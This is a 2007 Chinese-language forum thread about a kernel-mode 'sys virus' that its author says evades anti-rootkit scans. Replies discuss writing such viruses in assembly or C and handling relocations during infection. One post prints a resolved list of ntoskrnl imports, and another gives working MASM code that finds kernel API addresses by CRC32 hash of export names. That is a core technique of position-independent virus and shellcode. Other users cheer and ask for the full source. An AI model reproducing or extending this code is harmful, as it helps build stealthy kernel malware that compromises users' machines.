阅读:8878回复:44
一个简单的sys病毒!
123321
|
|
最新喜欢:Leopar... |
沙发#
发布于:2007-10-26 11:26
哦,对了,貌似俺这个东东也能绕过现代Anti-Rookit工具的内核模块扫描。
|
|
板凳#
发布于:2007-10-26 11:37
顶,向大牛学习,
|
|
|
地板#
发布于:2007-10-26 11:45
学习
|
|
地下室#
发布于:2007-10-26 11:45
我也晕了
|
|
|
5楼#
发布于:2007-10-26 11:47
楼主是个牛人啊,楼下的,你说是不是?
|
|
|
6楼#
发布于:2007-10-26 12:06
C写的?还是纯汇编~~
|
|
|
7楼#
发布于:2007-10-26 12:11
C的也可以实现,而且可以做的很xxx,很xxx~~至少目前我手头就有一个~很取巧的感染技巧导致了C也可以处理复杂的重定位...
|
|
|
8楼#
发布于:2007-10-26 14:24
...加入发晕行列
|
|
|
9楼#
发布于:2007-10-26 14:58
有四个文件,要加载哪个?
是不是要用kmdmanager之类的加载,还是自启动? |
|
|
10楼#
发布于:2007-10-26 15:01
引用第6楼killvxk于2007-10-26 12:06发表的 : 汇编,汇编写病毒要简单些。 |
|
11楼#
发布于:2007-10-26 15:14
用c写的话,asm写个loader
convert一下reloc就行了 不过这种东西直接写offset-indepent code就行。 |
|
12楼#
发布于:2007-10-26 15:14
讲讲原理
|
|
|
13楼#
发布于:2007-10-26 15:42
00A58911 0089AE79 ntoskrnl.DbgPrint
00A58915 008DB179 ntoskrnl.DbgPrintEx 00A58919 008DB088 ntoskrnl.DbgPrintReturnControlC 00A5891D 008AD45A ntoskrnl.ExAllocatePool 00A58921 008E93D4 ntoskrnl.ExFreePool 00A58925 00886C35 ntoskrnl.IoAllocateMdl 00A58929 008CB575 ntoskrnl.IoCompleteRequest 00A5892D 00937AA2 ntoskrnl.IoCreateDevice 00A58931 00916362 ntoskrnl.IoCreateFile 00A58935 008A5670 ntoskrnl.IoDeleteDevice 00A58939 008F8D60 ntoskrnl.IoDriverObjectType 00A5893D 00886CEA ntoskrnl.IoFreeMdl 00A58941 008D034B ntoskrnl.KeBugCheck 00A58945 00880D68 ntoskrnl.KeInitializeDpc 00A58949 0087B3F7 ntoskrnl.KeInitializeSpinLock 00A5894D 00885583 ntoskrnl.KeInitializeTimer 00A58951 008FA500 ntoskrnl.KeServiceDescriptorTable 00A58955 0087B14F ntoskrnl.KeSetTimer 00A58959 00964BEB ntoskrnl.MmGetSystemRoutineAddress 00A5895D 0088FE51 ntoskrnl.MmProbeAndLockPages 00A58961 00890105 ntoskrnl.MmUnlockPages 00A58965 00916538 ntoskrnl.NtOpenFile 00A58969 008D9371 ntoskrnl.ObDereferenceObject 00A5896D 00904581 ntoskrnl.ObReferenceObjectByHandle 00A58971 0092ADB3 ntoskrnl.ProbeForRead 00A58975 009068F1 ntoskrnl.ProbeForWrite 00A58979 009CC6B0 ntoskrnl.PsRemoveCreateThreadNotifyRoutine 00A5897D 009CC56F ntoskrnl.PsSetCreateProcessNotifyRoutine 00A58981 009CC647 ntoskrnl.PsSetCreateThreadNotifyRoutine 00A58985 0087C476 ntoskrnl.ZwClose 00A58989 0087C66A ntoskrnl.ZwCreateSection 00A5898D 0087CAF2 ntoskrnl.ZwMapViewOfSection 00A58991 0087CB56 ntoskrnl.ZwOpenDirectoryObject 00A58995 0087CB92 ntoskrnl.ZwOpenFile 00A58999 0087CE4E ntoskrnl.ZwQueryInformationFile 00A5899D 0087D75E ntoskrnl.ZwUnmapViewOfSection 00A589A1 008830AD ntoskrnl.wcscmp 贴一个api hash |
|
14楼#
发布于:2007-10-26 15:53
你贴少了点
继续 |
|
15楼#
发布于:2007-10-26 15:56
没有ring0 debugger,你自己贴吧
.386 .model flat,stdcall option casemap:none .code start: int 3 call get_hash dd 0DCC02CB0h, 28B5DDA5h, 7B5A95AAh, 7C23118Eh dd 6AF7534Fh, 0CD52490Fh, 189A4DD4h, 0EF27BACBh dd 0D5434B7Bh, 18E236A1h, 74DFE931h, 1FBE8FCh dd 0D5675DCh, 0E23413DBh, 4318F1A4h, 9B007656h dd 0A5263734h, 5E0780D3h, 0CC8DE8DFh, 18076F64h dd 0C311D3AFh, 0A8EA7C2Eh, 5C7407D9h, 0D157ED26h dd 2828DDF4h, 81BFB912h, 0D4C72283h, 0E3DFF09Ch dd 4845FBF9h, 0D2C7EC89h, 5AA24267h, 0DE11463h dd 225171Eh, 0BE8D0D49h, 57203DDCh, 6A2E9930h dd 0D1F6F667h, 0, 83F19CBBh, 9F8E9A2Eh dd 0A76E66AEh, 9D46D148h, 0, 12BCEF20h get_hash: pop esi mov edi, esi mov ebx, 'BASE' call get_proc_by_hash int 3 ; =============== S U B R O U T I N E ======================================= get_proc_by_hash proc near ; CODE XREF: .reloc:0001070Ap ; .reloc:00010741p ... mov eax, ebx ; stosd mov edx, [ebx+3Ch] add edx, ebx mov edx, [edx+78h] add edx, ebx push ebp xchg ebp, esi mov esi, [edx+20h] add esi, ebx mov ecx, [edx+18h] __next: ; CODE XREF: get_proc_by_hash+26j ; get_proc_by_hash+50j jecxz short __exit dec ecx lodsd add eax, ebx call calc_hash cmp eax, [ebp+0] jnz short __next push ecx mov eax, [edx+18h] sub eax, ecx dec eax mov ecx, [edx+24h] add ecx, ebx movzx eax, word ptr [ecx+eax*2] mov ecx, [edx+1Ch] add ecx, ebx lea eax, [ecx+eax*4] push eax mov eax, [eax] add eax, ebx stosd pop eax ; stosd pop ecx add ebp, 4 cmp dword ptr [ebp+0], 0 jnz short __next xchg esi, ebp lodsd __exit: ; CODE XREF: get_proc_by_hash:__nextj pop ebp retn get_proc_by_hash endp calc_hash proc near ; CODE XREF: get_proc_by_hash+1Ep push edi xor edi, edi loc_10BBB: ; CODE XREF: get_proc_x+5j push ecx push ebx or ebx, 0FFFFFFFFh loc_10BC0: ; CODE XREF: calc_hash+20j ; calc_hash+27j xor bl, [eax] push 8 pop ecx loc_10BC5: ; CODE XREF: calc_hash:loc_10BCFj add ebx, ebx jnb short loc_10BCF xor ebx, 4C11DB7h loc_10BCF: ; CODE XREF: calc_hash+Fj loop loc_10BC5 test edi, edi jz short loc_10BDC inc eax cmp edi, eax jnz short loc_10BC0 jmp short loc_10BE1 ; --------------------------------------------------------------------------- loc_10BDC: ; CODE XREF: calc_hash+1Bj sub cl, [eax] inc eax jb short loc_10BC0 loc_10BE1: ; CODE XREF: calc_hash+22j xchg eax, ebx pop ebx pop ecx pop edi locret_10BE5: ; CODE XREF: get_proc_x+3j retn calc_hash endp end start |
|
16楼#
发布于:2007-10-26 16:27
dd 83F19CBBh, 9F8E9A2Eh
dd 0A76E66AEh, 9D46D148h, 0 add ebp, 4 cmp dword ptr [ebp+0], 0 jnz short __next xchg esi, ebp lodsd __exit: ; CODE XREF: get_proc_by_hash:__nextj pop ebp retn |
|
17楼#
发布于:2007-10-26 20:13
有点意思,看看~
|
|
18楼#
发布于:2007-10-27 09:31
牛,要是再放点血就好了。。强烈要求源码,哈哈。。ring3的病毒感染方式在ring0中还需要处理好多细节吧。。。ring3的技术越来越多的整倒ring0,趋势?和谐?哈哈。。。。
|
|
19楼#
发布于:2007-10-27 09:36
顶起,
|
|
上一页
下一页